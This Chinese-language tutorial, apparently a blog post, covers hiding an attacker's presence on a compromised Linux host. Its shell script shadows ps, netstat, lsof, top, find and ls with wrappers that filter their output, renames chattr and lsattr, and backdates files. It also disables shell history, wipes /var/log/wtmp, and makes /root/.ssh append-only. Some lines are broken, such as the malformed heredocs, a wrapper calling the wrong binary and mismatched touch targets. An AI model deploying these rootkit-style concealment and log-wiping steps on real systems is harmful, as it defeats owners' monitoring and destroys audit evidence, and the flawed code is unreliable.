在内网渗透时,有时需要将工具放在目标机进程执行,但这里就需要考虑隐蔽性的问题。下面所讲的不是什么高大上的技术,只是一些常用的技巧。
进程隐匿
netstat 伪装
首先,包装下 netstat 命令,ps 路径为: /usr/bin/netstat
之后,创建 /usr/local/bin/netstat 文件,写入内容:
#!/bin/bash
/usr/bin/ps $@ | grep -Ev ‘name|address|port’
最后,赋予执行权限 chmod +x /usr/local/bin/netstat
执行 which netstat 看下命令变化:
netstat 命令修改前后的对比:
当我们自己使用时,直接用 /bin/netstat 就 OK 了。
文件隐匿
首先,看下 Linux chattr 命令,用于改变文件属性。这项指令可改变存放在ext2文件系统上的文件或目录属性,这些属性共有以下8种模式:
a:让文件或目录仅供附加用途
b:不更新文件或目录的最后存取时间
c:将文件或目录压缩后存放
d:将文件或目录排除在倾倒操作之外
i:不得任意更动文件或目录
s:保密性删除文件或目录
S:即时更新文件或目录
u:预防意外删除
实战中常用的为 +a (只能追加,不能删除) 与 +i (不能更改) :
这里,还需要将 chattr 与 lsattr 命令进程隐藏:
mv /usr/bin/chattr /usr/bin/cht
mv /usr/bin/lsattr /usr/bin/lst
文件时间修改
touch -acmr /bin/ls /usr/bin/cht ( 修改 后一个文件时间 与 前一个文件时间 一致)
参数
-a:改变访问时间为当前时间
-m:改变修改时间为当前时间
-c:文件不存在不新建文件
-r:使用参考文件的时间
-d:设置为指定时间
-t:设置档案的时间记录
附: sh脚本
#!/bin/bash
history
unset HISTORY HISTFILE HISTSAVE HISTZONE HISTORY HISTLOG; export HISTFILE=/dev/null; export HISTSIZE=0; export HISTFILESIZE=0
ps
touch /usr/local/bin/ps
cat <> /usr/local/bin/ps
#!/bin/bash
/bin/ps $@ | grep -Ev ‘name|address|port’
/usr/bin/ps $@ | grep -Ev ‘name|address|port’
EOF
chmod +x /usr/local/bin/ps && touch -acmr /bin/ps /usr/local/bin/ps
netstat
touch /usr/local/bin/netstat
cat <> /usr/local/bin/netstat
#!/bin/bash
/bin/netstat $@ | grep -Ev ‘name|address|port’
/usr/bin/netstat $@ | grep -Ev ‘name|address|port’
EOF
chmod +x /usr/local/bin/netstat && touch -acmr /bin/netstat /usr/local/bin/netstat
lsof
touch /usr/local/bin/lsof
cat <> /usr/local/bin/lsof
#!/bin/bash
/bin/lsof $@ | grep -Ev ‘name|address|port’
/usr/bin/lsof $@ | grep -Ev ‘name|address|port’
EOF
chmod +x /usr/local/bin/lsof && touch -acmr /bin/lsof /usr/local/bin/lsof
top
touch /usr/local/bin/top
cat <> /usr/local/bin/top
#!/bin/bash
/bin/top $@ | grep -Ev ‘name|address|port’
/usr/bin/top $@ | grep -Ev ‘name|address|port’
EOF
chmod +x /usr/local/bin/top && touch -acmr /bin/top /usr/local/bin/lsof
find
touch /usr/local/bin/find
cat <> /usr/local/bin/find
#!/bin/bash
/bin/find $@ | grep -Ev ‘name|address|port’
/usr/bin/find $@ | grep -Ev ‘name|address|port’
EOF
chmod +x /usr/local/bin/find && touch -acmr /bin/find /usr/local/bin/lsof
ls
touch /usr/local/bin/ls
cat <> /usr/local/bin/ls
#!/bin/bash
/bin/ls $@ | grep -Ev ‘name|address|port’
/usr/bin/ls $@ | grep -Ev ‘name|address|port’
EOF
chmod +x /usr/local/bin/ls && touch -acmr /bin/ls /usr/local/bin/ls
chattr & lsattr
#!/bin/bash
mkdir /tmp/.tmp/
chattr +a /tmp/.tmp/
chattr +a /root/.ssh/
mv /usr/bin/chattr /usr/bin/cht
mv /usr/bin/lsattr /usr/bin/lst
last
echo “” > /var/log/wtmp
修改命令变量后,重启终端生效,执行后记得删除sh脚本 !